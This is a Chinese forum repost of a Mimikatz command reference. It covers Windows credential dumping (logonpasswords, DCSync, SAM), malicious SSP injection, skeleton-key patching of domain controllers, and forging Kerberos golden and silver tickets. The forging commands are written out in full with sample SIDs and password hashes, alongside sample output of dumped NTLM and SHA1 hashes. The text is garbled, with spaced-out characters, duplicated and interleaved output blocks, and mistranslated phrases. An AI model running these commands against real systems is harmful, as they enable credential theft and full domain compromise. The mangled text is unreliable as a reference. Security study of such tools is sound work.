搜索

[21042] 2020-05-22_非官方Mimikatz指南和命令参考

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-05-22_非官方Mimikatz指南和命令参考 非 官 方 M i m i k a t z 指 南 和 命 令 参 考 J a k y   L e m o n S e c   2 0 2 0 - 0 5 - 2 2 转 自 公 转 自 公 众 号 ： 众 号 ： 洛 米 唯 熊 洛 米 唯 熊                                                                                                                                                                 0 x 0 0 : 简 介 简 介 :         M i m i k a t z 是 从 W i n d o w s 系 统 收 集 凭 据 数 据 的 最 佳 工 具 之 一 . 实 际 上 , 大 多 数 认 为 M i m i k a t z 是 W i n d o w s 凭 据 的 " 瑞 士 军 刀 " ( 或 多 功 能 工 具 ) , 该 工 具 可 以 完 成 所 有 任 务 . 由 于 M i m i k a t z 的 作 者 B e n j a m i n   D e l p y 是 法 国 人 , 因 此 , 至 少 在 他 的 博 客 上 , 大 多 数 描 述 M i m i k a t z 用 法 的 资 源 都 使 用 法 语 . 该 M i m i k a t z   G i t H u b 的 库 是 英 文 的 , 包 括 命 令 使 用 的 有 用 信 息 .         M i m i k a t z 是 B e n j a m i n   D e l p y ( @ g e n t i l k i w i ) 于 2 0 0 7 年 用 C 编 写 的 W i n d o w s   x 3 2 / x 6 4 程 序 , 以 了 解 有 关 W i n d o w s 凭 据 的 更 多 信 息 ( 并 作 为 概 念 证 明 ) . 有 两 个 提 供 其 他 功 能 的 可 选 组 件 ： m i m i d r v ( 与 W i n d o w s 内 核 交 互 的 驱 动 程 序 ) 和 m i m i l i b ( A p p L o c k e r 绕 过 , A u t h 软 件 包 /   S S P , 密 码 过 滤 器 和 W i n D B G 的 s e k u r l s a ) . M i m i k a t z 需 要 管 理 员 或 S Y S T E M 权 限 , 并 且 通 常 具 有 调 试 权 限 , 以 便 执 行 某 些 操 作 并 与 L S A S S 进 程 进 行 交 互 ( 取 决 于 所 请 求 的 操 作 ) . M i m i k a t z . e x e 包 含 或 至 少 应 包 含 此 处 注 明 的 所 有 功 能 . 发 行 版 本 发 行 版 本 : h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s W I K I 文 档 文 档 : h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / w i k i 0 x 0 1 : 最 受 欢 迎 的 最 受 欢 迎 的 M i m i k a t z 命 令 命 令 : C R Y P T O : : C e r t i f i c a t e s   – 列 表 / 导 出 证 书 K E R B E R O S : : G o l d e n   – 创 建 黄 金 / 白 银 / 信 托 票 K E R B E R O S : : L i s t   – 列 出 用 户 存 储 器 中 的 所 有 用 户 票 证 ( T G T 和 T G S ) . 不 需 要 特 殊 特 权 ， 因 为 它 仅 显 示 当 前 用 户 的 票 证 . 类 似 于 "   k l i s t " 的 功 能 . K E R B E R O S : : P T T   – 通 过 门 票 . 通 常 用 于 注 入 被 盗 或 伪 造 的 K e r b e r o s 票 证 ( 黄 金 / 白 银 / 信 任 ) . L S A D U M P : : D C S y n c   – 要 求 D C 同 步 对 象 ( 获 取 帐 户 的 密 码 数 据 ) . 无 需 在 D C 上 运 行 代 码 . L S A D U M P : : L S A   – 要 求 L S A 服 务 器 检 索 S A M   /   A D 企 业 ( 正 常 ， 即 时 修 补 或 注 入 ) . 用 于 从 域 控 制 器 或 l s a s s . d m p 转 储 文 件 中 转 储 所 有 A c t i v e   D i r e c t o r y 域 凭 据 . 也 用 于 通 过 参 数 /   n a m e 获 取 特 定 的 帐 户 凭 据 ， 例 如 k r b t g t ： "   / n a m e ： k r b t g t " L S A D U M P : : S A M   – 获 取 S y s K e y 以 解 密 S A M 条 目 ( 从 注 册 表 或 配 置 单 元 ) . S A M 选 项 连 接 到 本 地 安 全 帐 户 管 理 器 ( S A M ) 数 据 库 ， 并 转 储 本 地 帐 户 的 凭 据 . 这 用 于 转 储 W i n d o w s 计 算 机 上 的 所 有 本 地 凭 据 . L S A D U M P : : T r u s t   – 要 求 L S A 服 务 器 检 索 信 任 验 证 信 息 ( 正 常 或 即 时 修 补 ) . 转 储 所 有 关 联 的 信 任 ( 域 / 林 ) 的 信 任 密 钥 ( 密 码 ) . M I S C : : A d d S i d   – 添 加 到 用 户 帐 户 的 S I D H i s t o r y . 第 一 个 值 是 目 标 帐 户 ， 第 二 个 值 是 帐 户 / 组 名 称 ( 或 S I D ) . 移 至 S I D ： 自 2 0 1 6 年 5 月 6 日 起 修 改 . M I S C : : M e m S S P   – 注 入 恶 意 的 W i n d o w s   S S P 来 记 录 本 地 身 份 验 证 的 凭 据 . M I S C : : S k e l e t o n   – 将 万 能 钥 匙 插 入 域 控 制 器 上 的 L S A S S 进 程 . 这 样 ， 所 有 用 户 对 经 过 S k e l e t o n   K e y 修 补 的 D C 的 身 份 验 证 都 可 以 使 用 " 主 密 码 " ( 也 称 为 S k e l e t o n   K e y ) 以 及 其 通 常 的 密 码 . P R I V I L E G E : : D e b u g   – 获 得 调 试 权 限 ( 许 多 M i m i k a t z 命 令 需 要 此 权 限 或 " 本 地 系 统 " 权 限 ) . S E K U R L S A : : E k e y s   – 列 出 K e r b e r o s 加 密 密 钥 S E K U R L S A : : K e r b e r o s   – 列 出 所 有 经 过 身 份 验 证 的 用 户 ( 包 括 服 务 和 计 算 机 帐 户 ) 的 K e r b e r o s 凭 据 S E K U R L S A : : K r b t g t   – 获 取 域 K e r b e r o s 服 务 帐 户 ( K R B T G T ) 密 码 数 据 S E K U R L S A : : L o g o n P a s s w o r d s   – 列 出 所 有 可 用 的 提 供 者 凭 证 . 这 通 常 显 示 最 近 登 录 的 用 户 和 计 算 机 凭 据 . S E K U R L S A : : P t h   –   P a s s - t h e H a s h 和 O v e r - p a s s - t h e - H a s h S E K U R L S A : : T i c k e t s   – 列 出 所 有 最 近 通 过 身 份 验 证 的 用 户 的 所 有 可 用 K e r b e r o s 票 证 ， 包 括 在 用 户 帐 户 和 本 地 计 算 机 的 A D 计 算 机 帐 户 的 上 下 文 中 运 行 的 服 务 . 与 k e r b e r o s : : l i s t 不 同 ， s e k u r l s a 使 用 内 存 读 取 ， 并 且 不 受 密 钥 导 出 限 制 . s e k u r l s a 可 以 访 问 其 他 会 话 ( 用 户 ) 的 票 证 . T O K E N : : L i s t   – 列 出 系 统 的 所 有 令 牌 T O K E N : : E l e v a t e   – 模 拟 令 牌 . 用 于 将 权 限 提 升 为 S Y S T E M ( 默 认 ) 或 在 框 中 找 到 域 管 理 员 令 牌 T O K E N : : E l e v a t e   /   d o m a i n a d m i n   – 使 用 D o m a i n   A d m i n 凭 据 模 拟 令 牌 . 0 x 0 2 : M i m i k a t z 命 令 指 南 命 令 指 南 :   一 、 只 需 运 行 " M i m i k a t z . e x e " 或 向 其 传 递 命 令 并 退 出 , 即 可 以 交 互 模 式 执 行 M i m i k a t z ( 例 如 : " M i m i k a t z " k e r b e r o s   : :   l i s t "   e x i t " ) M i m i k a t z 可 用 于 将 命 令 从 命 令 行 传 递 到 M i m i k a t z 进 行 处 理 , 以 便 对 I n v o k e - M i m i k a t z 或 在 脚 本 中 使 用 M i m i k a t z . 执 行 最 后 一 条 命 令 后 , 追 加 " 退 出 " 将 退 出 M i m i k a t z ( 执 行 此 操 作 以 使 M i m i k a t z 正 常 退 出 ) . h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z P S   C : t e m p m i m i k a t z >   . m i m i k a t z   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : l o g o n p a s s w o r d s "   e x i t . # # # # # .       m i m i k a t z   2 . 0   a l p h a   ( x 6 4 )   r e l e a s e   " K i w i   e n   C "   ( N o v   1 3   2 0 1 5   0 0 : 4 4 : 3 2 )   . # #   ^   # # .   # #   /     # #     / *   *   *   # #     /   # #       B e n j a m i n   D E L P Y   ` g e n t i l k i w i `   (   b e n j a m i n @ g e n t i l k i w i . c o m   )   ' # #   v   # # '       h t t p : / / b l o g . g e n t i l k i w i . c o m / m i m i k a t z                           ( o e . e o )   ' # # # # # '                                                                           w i t h   1 7   m o d u l e s   *   *   * / m i m i k a t z ( c o m m a n d l i n e )   #   p r i v i l e g e : : d e b u g   P r i v i l e g e   ' 2 0 '   O K m i m i k a t z ( c o m m a n d l i n e )   #   s e k u r l s a : : l o g o n p a s s w o r d s A u t h e n t i c a t i o n   I d   :   0   ;   6 4 6 2 6 0   ( 0 0 0 0 0 0 0 0 : 0 0 0 9 d c 7 4 )   S e s s i o n                       :   R e m o t e I n t e r a c t i v e   f r o m   2   U s e r   N a m e                   :   a d s a d m i n i s t r a t o r   D o m a i n                         :   A D S E C L A B   L o g o n   S e r v e r             :   A D S D C 0 3   L o g o n   T i m e                 :   1 1 / 2 7 / 2 0 1 5   1 1 : 4 1 : 2 7   A M   S I D                               :   S - 1 - 5 - 2 1 - 1 5 8 1 6 5 5 5 7 3 - 3 9 2 3 5 1 2 3 8 0 - 6 9 6 6 4 7 8 9 4 - 5 0 0   m s v   :   [ 0 0 0 0 0 0 0 3 ]   P r i m a r y   *   U s e r n a m e   :   A D S A d m i n i s t r a t o r   *   D o m a i n       :   A D S E C L A B   *   N T L M           :   5 1 6 4 b 7 a 0 f d a 3 6 5 d 5 6 7 3 9 9 5 4 b b b c 2 3 8 3 5
二 、 交 互 模 式 提 供 了 一 个 " M i m i k a t z 控 制 台 " , 可 以 在 其 中 实 时 输 入 和 执 行 命 令 : 0 x 0 3 : M i m i k a t z   模 块 模 块 : B U S Y L I G H T C R Y P T O   ( 加 密 ) C R Y P T O : : C e r t i f i c a t e s D P A P I E V E N T   ( 日 志 / 事 件 ) I I S K E R B E R O S G o l d e n   T i c k e t s   ( 黄 金 票 据 ) S i l v e r   T i c k e t s   ( 白 银 票 据 ) T r u s t   T i c k e t s   ( 信 托 票 据 ) K E R B E R O S : : P T T L S A D U M P D C S y n c D C S h a d o w L S A D U M P : : L S A L S A D U M P : : N e t S y n c L S A D U M P : : S A M   *   N T L M           :   5 1 6 4 b 7 a 0 f d a 3 6 5 d 5 6 7 3 9 9 5 4 b b b c 2 3 8 3 5   *   S H A 1           :   f 8 d b 2 9 7 c b 2 a e 4 0 3 f 8 9 1 5 6 7 5 c e b e 7 9 6 4 3 d 0 d 3 b 0 9 f   [ 0 0 0 1 0 0 0 0 ]   C r e d e n t i a l K e y s   *   N T L M           :   5 1 6 4 b 7 a 0 f d a 3 6 5 d 5 6 7 3 9 9 5 4 b b b c 2 3 8 3 5   *   S H A 1           :   f 8 d b 2 9 7 c b 2 a e 4 0 3 f 8 9 1 5 6 7 5 c e b e 7 9 6 4 3 d 0 d 3 b 0 9 f   t s p k g   :   w d i g e s t   :   *   U s e r n a m e   :   A D S A d m i n i s t r a t o r   *   D o m a i n       :   A D S E C L A B   *   P a s s w o r d   :   ( n u l l )   k e r b e r o s   :   *   U s e r n a m e   :   a d s a d m i n i s t r a t o r   *   D o m a i n       :   L A B . A D S E C U R I T Y . O R G   *   P a s s w o r d   :   ( n u l l )   s s p   :       K O P S   C : t e m p m i m i k a t z >   . m i m i k a t z . # # # # # .       m i m i k a t z   2 . 0   a l p h a   ( x 6 4 )   r e l e a s e   " K i w i   e n   C "   ( N o v   1 3   2 0 1 5   0 0 : 4 4 : 3 2 )   . # #   ^   # # .   # #   /     # #     / *   *   *   # #     /   # #       B e n j a m i n   D E L P Y   ` g e n t i l k i w i `   (   b e n j a m i n @ g e n t i l k i w i . c o m   )   ' # #   v   # # '       h t t p : / / b l o g . g e n t i l k i w i . c o m / m i m i k a t z                           ( o e . e o )   ' # # # # # '                                                                           w i t h   1 7   m o d u l e s   *   *   * / m i m i k a t z   #   p r i v i l e g e : : d e b u g   P r i v i l e g e   ' 2 0 '   O K m i m i k a t z   #   s e k u r l s a : : l o g o n p a s s w o r d s A u t h e n t i c a t i o n   I d   :   0   ;   6 4 6 2 6 0   ( 0 0 0 0 0 0 0 0 : 0 0 0 9 d c 7 4 )   S e s s i o n                       :   R e m o t e I n t e r a c t i v e   f r o m   2   U s e r   N a m e                   :   a d s a d m i n i s t r a t o r   D o m a i n                         :   A D S E C L A B   L o g o n   S e r v e r             :   A D S D C 0 3   L o g o n   T i m e                 :   1 1 / 2 7 / 2 0 1 5   1 1 : 4 1 : 2 7   A M   S I D                               :   S - 1 - 5 - 2 1 - 1 5 8 1 6 5 5 5 7 3 - 3 9 2 3 5 1 2 3 8 0 - 6 9 6 6 4 7 8 9 4 - 5 0 0   m s v   :   [ 0 0 0 0 0 0 0 3 ]   P r i m a r y   *   U s e r n a m e   :   A D S A d m i n i s t r a t o r   *   D o m a i n       :   A D S E C L A B   *   N T L M           :   5 1 6 4 b 7 a 0 f d a 3 6 5 d 5 6 7 3 9 9 5 4 b b b c 2 3 8 3 5   *   S H A 1           :   f 8 d b 2 9 7 c b 2 a e 4 0 3 f 8 9 1 5 6 7 5 c e b e 7 9 6 4 3 d 0 d 3 b 0 9 f   [ 0 0 0 1 0 0 0 0 ]   C r e d e n t i a l K e y s   *   N T L M           :   5 1 6 4 b 7 a 0 f d a 3 6 5 d 5 6 7 3 9 9 5 4 b b b c 2 3 8 3 5   *   S H A 1           :   f 8 d b 2 9 7 c b 2 a e 4 0 3 f 8 9 1 5 6 7 5 c e b e 7 9 6 4 3 d 0 d 3 b 0 9 f   t s p k g   :   w d i g e s t   :   *   U s e r n a m e   :   A D S A d m i n i s t r a t o r   *   D o m a i n       :   A D S E C L A B   *   P a s s w o r d   :   ( n u l l )   k e r b e r o s   :   *   U s e r n a m e   :   a d s a d m i n i s t r a t o r   *   D o m a i n       :   L A B . A D S E C U R I T Y . O R G   *   P a s s w o r d   :   ( n u l l )   s s p   :       K O   c r e d m a n   :
L S A D U M P : : T r u s t M I S C M I N E S W E E P E R N E T P R I V I L E G E P R I V I L E G E : : D e b u g P R O C E S S R P C S E R V I C E S E K U R L S A S E K U R L S A : : K e r b e r o s S E K U R L S A : : K r b t g t S E K U R L S A : : L o g o n P a s s w o r d s S E K U R L S A : : P t h S I D S T A N D A R D S Y S E N V T O K E N   ( 令 牌 ) T O K E N : : E l e v a t e T O K E N : : E l e v a t e   / d o m a i n a d m i n T S V A U L T   0 x 0 4 : M i m i k a t z   案 例 模 块 讲 解 案 例 模 块 讲 解 : 一 、 一 、 G o l d e n   T i c k e t s   ( 黄 金 票 据 黄 金 票 据 ) 何 为 黄 金 票 据 何 为 黄 金 票 据 ?         黄 金 票 据 是 使 用 K R B T G T   N T L M 密 码 哈 希 进 行 加 密 和 签 名 的 T G T . 可 以 创 建 黄 黄 金 票 据 证 ( G T ) , 以 将 域 中 的 任 何 用 户 ( 真 实 或 想 象 中 的 ) 模 拟 为 域 中 任 何 资 源 的 域 中 任 何 组 的 成 员 ( 提 供 几 乎 无 限 的 权 利 ) .         由 于 黄 黄 金 票 据 证 是 身 份 验 证 票 证 ( 如 下 所 述 的 T G T ) , 由 于 T G T 用 于 获 取 用 于 访 问 资 源 的 服 务 票 证 ( T G S ) , 因 此 其 范 围 是 整 个 域 ( 以 及 利 用 S I D 历 史 记 录 的 A D 林 ) . 黄 黄 金 票 据 证 ( T G T ) 包 含 用 户 组 成 员 身 份 信 息 ( P A C ) , 并 使 用 域 的 K e r b e r o s 服 务 帐 户 ( K R B T G T ) 进 行 签 名 和 加 密 , 该 帐 户 只 能 由 K R B T G T 帐 户 打 开 和 读 取 .         总 而 言 之 , 一 旦 攻 击 者 可 以 访 问 K R B T G T 密 码 哈 希 , 他 们 就 可 以 创 建 黄 黄 金 票 据 证 ( T G T ) , 以 便 随 时 访 问 A D 中 的 任 何 内 容 . 创 建 金 票 的 创 建 金 票 的 M i m i k a t z 命 令 是 命 令 是 " k e r b e r o s   : :   g o l d e n " / d o m a i n - 完 全 限 定 的 域 名 . 举 个 栗 子 : " l a b . a d s e c u r i t y . o r g ” . / s i d - 域 的 S I D . 举 个 栗 子 : " S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 2 2 2 2 3 2 9 1 2 7 ” . / s i d s - 具 有 要 票 证 欺 骗 的 权 限 的 A D 林 中 帐 户 / 组 的 其 他 S I D . 通 常 ， 这 将 是 根 域 " S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 5 8 7 2 3 2 9 1 2 7 - 5 1 9 " 的 E n t e r p r i s e A d m i n s 组 . Ť   他 的 参 数 将 提 供 的 小 岛 屿 发 展 中 国 家 的 S I D 历 史 参 数 . / u s e r - 要 模 拟 的 用 户 名 / g r o u p s ( 可 选 ) – 用 户 所 属 的 组 R I D ( 第 一 个 是 主 组 ) . 添 加 用 户 或 计 算 机 帐 户 R I D 以 获 得 相 同 的 访 问 权 限 . 默 认 组 ： 知 名 管 理 员 组 的 5 1 3 , 5 1 2 , 5 2 0 , 5 1 8 , 5 1 9 ( 下 面 列 出 ) . / k r b t g t - 域 K D C 服 务 帐 户 ( K R B T G T ) 的 N T L M 密 码 哈 希 . 用 于 加 密 和 签 名 T G T . / t i c k e t ( 可 选 ) – 提 供 用 于 保 存 G o l d e n T i c k e t 文 件 以 供 以 后 使 用 的 路 径 和 名 称 , 或 使 用 / p t t 立 即 将 G o l d e n T i c k e t 注 入 内 存 以 供 使 用 . / p t t - 作 为 / t i c k e t 的 替 代 方 案 – 使 用 它 可 以 立 即 将 伪 造 的 票 证 注 入 内 存 以 供 使 用 . / i d ( 可 选 ) – 用 户 R I D . M i m i k a t z 的 默 认 值 为 5 0 0 ( 默 认 的 管 理 员 帐 户 R I D ) . / s t a r t o f f s e t ( 可 选 ) – 票 证 可 用 时 的 起 始 偏 移 量 ( 如 果 使 用 此 选 项 ， 通 常 设 置 为 – 1 0 或 0 ) . M i m i k a t z 默 认 值 为 0 . / e n d i n ( 可 选 ) – 票 证 寿 命 . M i m i k a t z 默 认 值 为 1 0 年 ( 〜 5 , 2 6 2 , 4 8 0 分 钟 ) . A c t i v e D i r e c t o r y 的 默 认 K e r b e r o s 策 略 设 置 为 1 0 小 时 ( 6 0 0 分 钟 ) . / r e n e w m a x ( 可 选 ) – 续 订 的 最 大 票 证 寿 命 . M i m i k a t z 默 认 值 为 1 0 年 ( 〜 5 , 2 6 2 , 4 8 0 分 钟 ) . A c t i v e D i r e c t o r y 的 默 认 K e r b e r o s 策 略 设 置 为 7 天 ( 1 0 , 0 8 0 分 钟 ) . / s i d s ( 可 选 ) – 设 置 为 A D 林 中 E n t e r p r i s e A d m i n s 组 的 S I D ( [ A D R o o t D o m a i n S I D ] - 5 1 9 ) ， 以 欺 骗 整 个 A D 林 中 的 企 业 管 理 员 权 限 ( A D 林 中 每 个 域 中 的 A D a d m i n ) . / a e s 1 2 8 - A E S 1 2 8 密 钥 / a e s 2 5 6 - A E S 2 5 6 密 钥 黄 金 票 据 默 认 组 ： 黄 金 票 据 默 认 组 ： 域 用 户 S I D ： S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 3 域 管 理 员 S I D ： S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 2 架 构 管 理 员 S I D ： S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 8 企 业 管 理 员 S I D ： S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 9 ( 仅 当 在 林 根 域 中 创 建 伪 造 票 证 时 有 效 , 尽 管 使 用 /   s i d s 参 数 添 加 A D 林 管 理 员 权 限 ) 组 策 略 创 建 者 所 有 者 S I D ： S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 2 0 举 个 栗 子 ： k e r b e r o s   : :   g o l d e n   /   a d m i n ： A D M I I N A C C O U N T N A M E   /   d o m a i n ： D O M A I N F Q D N   /   i d ： A C C O U N T R I D   /   s i d ： D O M A I N S I D   /   k r b t g t ： K R B T G T P A S S W O R D H A S H   /   p t t . m i m i k a t z   “ k e r b e r o s : : g o l d e n   / a d m i n : D a r t h V a d e r   / d o m a i n : r d . l a b . a d s e c u r i t y . o r g   / i d : 9 9 9 9   / s i d : S - 1 - 5 - 2 1 - 1 3 5 3 8 0 1 6 1 - 1 0 2 1 9 1 1 3 8 - 5 8 1 3 1 1 2 0 2   / k r b t g t : 1 3 0 2 6 0 5 5 d 0 1 f 2 3 5 d 6 7 6 3 4 e 1 0 9 d a 0 3 3 2 1   / s t a r t o f f s e t : 0   / e n d i n : 6 0 0   / r e n e w m a x : 1 0 0 8 0   / p t t ”   e x i t
  二 二 、 、 S i l v e r   T i c k e t   ( 白 银 票 据 白 银 票 据 ) 何 为 白 银 票 据 何 为 白 银 票 据 ?         S i l v e r   T i c k e t 是 使 用 目 标 服 务 帐 户 的 N T L M 密 码 哈 希 （ 通 过 S P N 映 射 标 识 ） 进 行 加 密 和 签 名 的 T G S ( 格 式 类 似 于 T G T ) .         创 建 银 票 的 创 建 银 票 的 M i m i k a t z 命 令 是 命 令 是 “ k e r b e r o s : : g o l d e n " / d o m a i n - 完 全 限 定 的 域 名 . 在 此 示 例 中 : " l a b . a d s e c u r i t y . o r g " . / s i d – 域 的 S I D . 在 此 示 例 中 : " S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 2 2 2 2 3 2 9 1 2 7 " . / s i d s – 具 有 要 票 证 欺 骗 的 权 限 的 A D 林 中 帐 户 / 组 的 其 他 S I D . 通 常 ， 这 将 是 根 域 " S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 5 8 7 2 3 2 9 1 2 7 - 5 1 9 " 的 E n t e r p r i s e A d m i n s 组 . / u s e r - 模 拟 用 户 名 / g r o u p s ( 可 选 ) – 用 户 所 属 的 组 R I D ( 第 一 个 是 主 组 ) 默 认 值 : 知 名 管 理 员 组 ( 如 下 所 列 ) 的 5 1 3 , 5 1 2 , 5 2 0 , 5 1 8 , 5 1 9 . / t i c k e t ( 可 选 ) – 提 供 用 于 保 存 伪 造 的 票 证 文 件 以 供 以 后 使 用 的 路 径 和 名 称 ， 或 使 用 / p t t 立 即 将 黄 金 票 证 注 入 内 存 以 供 使 用 . / p t t – 作 为 / t i c k e t 的 替 代 方 案 – 使 用 它 可 以 立 即 将 伪 造 的 票 证 注 入 内 存 以 供 使 用 . / i d ( 可 选 ) – 用 户 R I D . M i m i k a t z 的 默 认 值 为 5 0 0 ( 默 认 的 管 理 员 帐 户 R I D ) . / s t a r t o f f s e t ( 可 选 ) – 票 证 可 用 时 的 起 始 偏 移 量 ( 如 果 使 用 此 选 项 ， 通 常 设 置 为 – 1 0 或 0 ) . M i m i k a t z 默 认 值 为 0 . / e n d i n ( 可 选 ) – 票 证 寿 命 . M i m i k a t z 默 认 值 为 1 0 年 ( 〜 5 , 2 6 2 , 4 8 0 分 钟 ) . A c t i v e D i r e c t o r y 的 默 认 K e r b e r o s 策 略 设 置 为 1 0 小 时 ( 6 0 0 分 钟 ) . / r e n e w m a x ( 可 选 ) – 带 有 续 订 的 最 大 票 证 寿 命 . M i m i k a t z 默 认 值 为 1 0 年 ( 〜 5 , 2 6 2 , 4 8 0 分 钟 ) . A c t i v e D i r e c t o r y 的 默 认 K e r b e r o s 策 略 设 置 为 7 天 ( 1 0 , 0 8 0 分 钟 ) . / a e s 1 2 8 – A E S 1 2 8 密 钥 / a e s 2 5 6 – A E S 2 5 6 密 钥   白 银 票 白 银 票 必 填 必 填 参 数 参 数 ： ： ( 重 点 重 点 重 点 重 点 重 点 重 点 ) / t a r g e t - 目 标 服 务 器 的 F Q D N . / s e r v i c e   – 在 目 标 服 务 器 上 运 行 的 k e r b e r o s 服 务 . 这 是 服 务 主 体 名 称 类 ( 或 类 型 ) , 举 个 栗 子 : c i f s , h t t p , m s s q l . / r c 4   – 服 务 ( 计 算 机 帐 户 或 用 户 帐 户 ) 的 N T L M   h a s h 白 银 票 据 默 认 组 ： 白 银 票 据 默 认 组 ： 域 用 户 S I D : S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 3 域 管 理 员 S I D : S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 2 架 构 管 理 员 S I D : S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 8 企 业 管 理 员 S I D : S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 1 9 ( 仅 当 在 林 根 域 中 创 建 伪 造 票 证 时 有 效 , 尽 管 使 用 /   s i d s 参 数 添 加 A D 林 管 理 员 权 限 ) 组 策 略 创 建 者 所 有 者 S I D : S - 1 - 5 - 2 1   < D O M A I N I D >   - 5 2 0 创 建 白 银 票 据 的 示 例 创 建 白 银 票 据 的 示 例 M i m i k a t z 命 令 命 令 :         以 下 M i m i k a t z 命 令 在 服 务 器 a d s m s w i n 2 k 8 r 2 . l a b . a d s e c u r i t y . o r g 上 为 C I F S 服 务 创 建 银 票 .         为 了 成 功 创 建 此 S i l v e r   T i c k e t , 需 要 通 过 A D 域 转 储 或 通 过 在 本 地 系 统 上 运 行 M i m i k a t z 来 发 现 a d s m s w i n 2 k 8 r 2 . l a b . a d s e c u r i t y . o r g 的 A D 计 算 机 帐 户 密 码 哈 希 ,         如 上 所 示         N T L M 密 码 哈 希 与 / r c 4 参 数 一 起 使 用 . 还 需 要 在 / s e r v i c e 参 数 中 标 识 服 务 S P N 类 型 . 最 后 , 需 要 在 / t a r g e t 参 数 中 提 供 目 标 计 算 机 的 标 准 域 名 . 不 要 忘 记 / s i d 参 数 中 的 域 S I D . . m i m i k a t z   “ k e r b e r o s : : g o l d e n   / a d m i n : D a r t h V a d e r   / d o m a i n : r d . l a b . a d s e c u r i t y . o r g   / i d : 9 9 9 9   / s i d : S - 1 - 5 - 2 1 - 1 3 5 3 8 0 1 6 1 - 1 0 2 1 9 1 1 3 8 - 5 8 1 3 1 1 2 0 2   / k r b t g t : 1 3 0 2 6 0 5 5 d 0 1 f 2 3 5 d 6 7 6 3 4 e 1 0 9 d a 0 3 3 2 1   / s t a r t o f f s e t : 0   / e n d i n : 6 0 0   / r e n e w m a x : 1 0 0 8 0   / p t t ”   e x i t M i m i k a t z   “ p r i v i l e g e : : d e b u g ”   “ s e k u r l s a : : l o g o n p a s s w o r d s ”   e x i t m i m i k a t z   “ k e r b e r o s : : g o l d e n   / a d m i n : L u k e S k y w a l k e r   / i d : 1 1 0 6   / d o m a i n : l a b . a d s e c u r i t y . o r g   / s i d : S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 2 2 2 2 3 2 9 1 2 7   / t a r g e t : a d s m s w i n 2 k 8 r 2 . l a b . a d s e c u r i t y . o r g   / r c 4 : d 7 e 2 b 8 0 5 0 7 e a 0 7 4 a d 5 9 f 1 5 2 a 1 b a 2 0 4 5 8   / s e r v i c e : c i f s   / p t t ”  
0 x 0 5 : R e f e r e r m i m i k a t z   “ k e r b e r o s : : g o l d e n   / a d m i n : L u k e S k y w a l k e r   / i d : 1 1 0 6   / d o m a i n : l a b . a d s e c u r i t y . o r g   / s i d : S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 2 2 2 2 3 2 9 1 2 7   / t a r g e t : a d s m s w i n 2 k 8 r 2 . l a b . a d s e c u r i t y . o r g   / r c 4 : d 7 e 2 b 8 0 5 0 7 e a 0 7 4 a d 5 9 f 1 5 2 a 1 b a 2 0 4 5 8   / s e r v i c e : c i f s   / p t t ”   h t t p s : / / a d s e c u r i t y . o r g / ? p a g e _ i d = 1 8 2 1 h t t p : / / b l o g . g e n t i l k i w i . c o m / m i m i k a t z h t t p : / / t 3 n g y u . l e a n o t e . c o m / c a t e / % E 6 % A 8 % A A % E 5 % 9 0 % 9 1 % E 6 % B 8 % 9 7 % E 9 % 8 0 % 8 F
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理